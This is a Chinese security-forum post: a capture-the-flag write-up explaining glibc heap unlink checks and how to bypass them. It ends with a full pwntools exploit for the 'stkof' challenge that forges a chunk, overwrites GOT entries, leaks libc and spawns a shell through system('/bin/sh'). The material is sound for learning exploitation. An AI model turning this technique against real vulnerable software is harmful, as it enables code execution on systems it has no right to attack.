用户
搜索
  • TA的每日心情

    2019-10-1 22:36
  • 签到天数: 17 天

    连续签到: 1 天

    [LV.4]经常看看II

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    11

    主题

    65

    帖子

    537

    魔法币
    收听
    0
    粉丝
    2
    注册时间
    2017-6-30

    i春秋签约作者春秋文阁

    发表于 2019-10-1 22:31:56 0553
    本帖最后由 ID_Angel 于 2019-10-1 22:34 编辑

    本文文章著作权归Z1h52所有,由Angel代发。未经作者允许,请勿擅自转载。

    Unlink漏洞简单分析

    0x1,堆溢出漏洞;

    0x2,闲聊:Unlink的难度不小,现在也只能勉强理解;

    关于unlink的漏洞简单说一下

    1,第一个判断

    if(chunksize (p) != prev_size (next_chunk (p)))

    此判断所代表的含义为检查将从链表中卸下的chunk其size是否被恶意的修改。记录当前size的地方有两处一个是为当前chunk的size字段和下一个chunk(物理地址上相邻的高地址的chunk)的prev_size字段如果这两个字段的值不等,则unlink会抛出异常。

    第2个判断

    FD=P->fd即当前空闲chunk所指向的下一个空闲chunk
    
    BK=P->bk即当前空闲chunk所指向的上一个chunk
    
    FD->bk=BK<=>P->fd->bk= P->bk
    
    BK->fd=FD<=>P->bk->fd= P->fd
    

    光看这些指针所指向的内容可能有些迷糊实际上就是将当前空闲chunk相连的前后chunk彼此相连即达到了解链的目的,明白了这一点再来看第二个if的安全检查机制

    if(__builtin_expect (fd->bk != p || bk->fd != p, 0))

    其实就是检查当前空闲chunk的前一个chunk的bk指向是不是自己本身或者当前chunk的后一个chunk的fd指向是不是自己,如果不是则会抛出异常。

    0x3,具体操作:

    1,源码分析的话是典型的给你创建,编辑,删除的堆;

    2

    20191001081417.png

    没什么好说的;3.

    20191001081359.png

    它会把创建的堆放在这;地址0x602140;

    4,那么需要至少3个堆,前两个可以小一点,后一个需要大一点比fastbin 大,才可以溢出

    5,通过修改第二个chunk的内容在第二个chunk中伪造了一个空闲chunk从地址0x14c4460开始为伪造chunk的内容。如过此时想要free chunk3那么要进入unlink则需要使unlink函数认为伪chunk是空闲的并绕过检查。所以首先通过溢出将第三个chunk的prev_size字段修改为0x30并将size字段的P字段修改为0即0x90那么此时就可以绕过第1个 if判断。第二个if判断就难理解一些在这里有个通用的绕过公式即:

    fd  = address  -  0x18
    
    bk  = address  -  0x10
    

    剩下的就是老生常谈了,exp

    
    from pwn import *
    
    context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    if args['DEBUG']:
        context.log_level = 'debug'
    
    context.binary = "./stkof"
    stkof = ELF('./stkof')
    
    if args['REMOTE']:
        p = remote('127.0.0.1', 7777)
    else:
        p = process("./stkof")
    
    log.info('PID: ' + str(proc.pidof(p)[0]))
    libc = ELF('./libc.so.6')
    
    head = 0x602140
    
    def alloc(size):
        p.sendline('1')
        p.sendline(str(size))
        p.recvuntil('OK\n')
    
    def edit(idx, size, content):
        p.sendline('2')
        p.sendline(str(idx))
        p.sendline(str(size))
        p.send(content)
        p.recvuntil('OK\n')
    
    def free(idx):
        p.sendline('3')
        p.sendline(str(idx))
    
    def exp():
        gdb.attach(p)
        # trigger to malloc buffer for io function
        alloc(0x100)        # idx 1
        # begin
        alloc(0x30)         # idx 2
        # small chunk size in order to trigger unlink
        alloc(0x80)         # idx 3
        # a fake chunk at global[2] = head + 16 who's size is 0x20
        payload = p64(0)        #prev_size
        payload += p64(0x20)    #size --> except the first line, the rest two line is equal to 0x20?
        payload += p64(head + 16 - 0x18)  #fd
        payload += p64(head + 16 - 0x10)  #bk
        payload += p64(0x20)  # next chunk's prev_size bypass the check
        payload = payload.ljust(0x30, 'a')
        # overwrite global[3]'s chunk's prev_size
        # make it believe that prev chunk is at global[2]
        payload += p64(0x30)        #0x30 is the front one whole size?
        # make it believe that prev chunk is free
        payload += p64(0x90)
        edit(2, len(payload), payload)
        # unlink fake chunk, so global[2] =&(global[2]) - 0x18 = head - 8
        free(3)
        p.recvuntil('OK\n')
        #gdb.attach(p)
        # overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
        payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])
        edit(2, len(payload), payload)
        # edit free@got to puts@plt
        payload = p64(stkof.plt['puts'])
        edit(0, len(payload), payload)
    
        #free global[1] to leak puts addr
        free(1)
        puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
        puts_addr = u64(puts_addr)
        log.success('puts addr: ' + hex(puts_addr))
        libc_base = puts_addr - libc.symbols['puts']
        binsh_addr = libc_base + next(libc.search('/bin/sh'))
        system_addr = libc_base + libc.symbols['system']
        log.success('libc base: ' + hex(libc_base))
        log.success('/bin/sh addr: ' + hex(binsh_addr))
        log.success('system addr: ' + hex(system_addr))
        # modify atoi@got to system addr
        payload = p64(system_addr)
        edit(2, len(payload), payload)
        p.send(p64(binsh_addr))
        p.interactive()
    
    if __name__ == "__main__":
        exp()
    

    Written by Z1h52

    本文文章著作权归Z1h52所有,由Angel代发。未经作者允许,请勿擅自转载。

    发新帖
    您需要登录后才可以回帖 登录 | 立即注册